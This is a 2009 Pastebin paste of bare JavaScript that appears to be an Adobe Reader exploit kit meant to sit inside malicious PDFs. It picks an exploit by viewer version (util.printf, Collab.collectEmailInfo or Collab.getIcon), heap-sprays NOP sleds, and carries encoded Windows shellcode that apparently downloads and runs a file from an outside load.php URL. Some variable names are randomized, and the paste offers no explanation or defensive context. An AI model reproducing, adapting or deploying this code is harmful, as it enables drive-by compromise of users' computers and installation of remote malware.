Share Pastebin
Guest
Public paste!

inositle

By: a guest | Dec 15th, 2009 | Syntax: JavaScript | Size: 4.81 KB | Hits: 327 | Expires: Never
Copy text to clipboard
  1.  var arry = new Array();
  2.  function fix_it(yarsp, len)
  3.  {
  4.    while (yarsp.length*2<len)
  5.    {
  6.      yarsp += yarsp;
  7.    }
  8.    yarsp = yarsp.substring(0,len/2);
  9.    return yarsp;
  10.  }
  11.  var version = app.viewerVersion;
  12.  if (version > 8)
  13.  {
  14.    var payload = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u7561%u6964%u646F%u7672%u2E37%u6F63%u2F6D%u6974%u656D%u6C2F%u616F%u2E64%u6870%u0070");
  15.    nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
  16.    heapblock = nop + payload;
  17.    bigblock = unescape("%u0A0A%u0A0A");
  18.    headersize = 20;
  19.    spray = headersize+heapblock.length;
  20.    while (bigblock.length<spray) bigblock+=bigblock;
  21.    fillblock = bigblock.substring(0, spray);
  22.    block = bigblock.substring(0, bigblock.length-spray);
  23.    while(block.length+spray < 0x40000) block = block+block+fillblock;
  24.    mem = new Array();
  25.    for (i=0;i<1400;i++) mem[i] = block + heapblock;
  26.    var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
  27.    util.printf("%45000f",num);
  28.  }
  29.  if (version < 8)
  30.  {
  31.    var addkk = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u7561%u6964%u646F%u7672%u2E37%u6F63%u2F6D%u6974%u656D%u6C2F%u616F%u2E64%u6870%u0070");
  32.    var mem_array = new Array();
  33.    var cc = 0x0c0c0c0c;
  34.    var addr = 0x400000;
  35.    var sc_len = addkk.length * 2;
  36.    var len = addr - (sc_len+0x38);
  37.    var yarsp = unescape("%u9090%u9090");
  38.    yarsp = fix_it(yarsp, len);
  39.    var count2 = (cc - 0x400000)/addr;
  40.    for (var count=0;count<count2;count++)
  41.    {
  42.      mem_array[count] = yarsp + addkk;
  43.    }
  44.    var overflow = unescape("%u0c0c%u0c0c");
  45.    while(overflow.length < 44952) overflow += overflow;
  46.    this.collabStore = Collab.collectEmailInfo(
  47.    {
  48.      subj: "",msg: overflow
  49.    }
  50.    );
  51.  }
  52.  if (version < 9.1)
  53.  {
  54.    if (app.doc.Collab.getIcon)
  55.    {
  56.      var vvpethya =unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u7561%u6964%u646F%u7672%u2E37%u6F63%u2F6D%u6974%u656D%u6C2F%u616F%u2E64%u6870%u0070");
  57.      var hWq500CN = vvpethya.length * 2;
  58.      var len = 0x400000 - (hWq500CN + 0x38);
  59.      var yarsp = unescape("%u9090%u9090");
  60.      yarsp = fix_it(yarsp, len);
  61.      var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
  62.      for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ )
  63.      {
  64.        arry[vqcQD96y] = yarsp + vvpethya;
  65.      }
  66.      var tUMhNbGw = unescape("%09");
  67.      while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw;
  68.      tUMhNbGw = "N." + tUMhNbGw;
  69.      app.doc.Collab.getIcon(tUMhNbGw);
  70.    }
  71.  }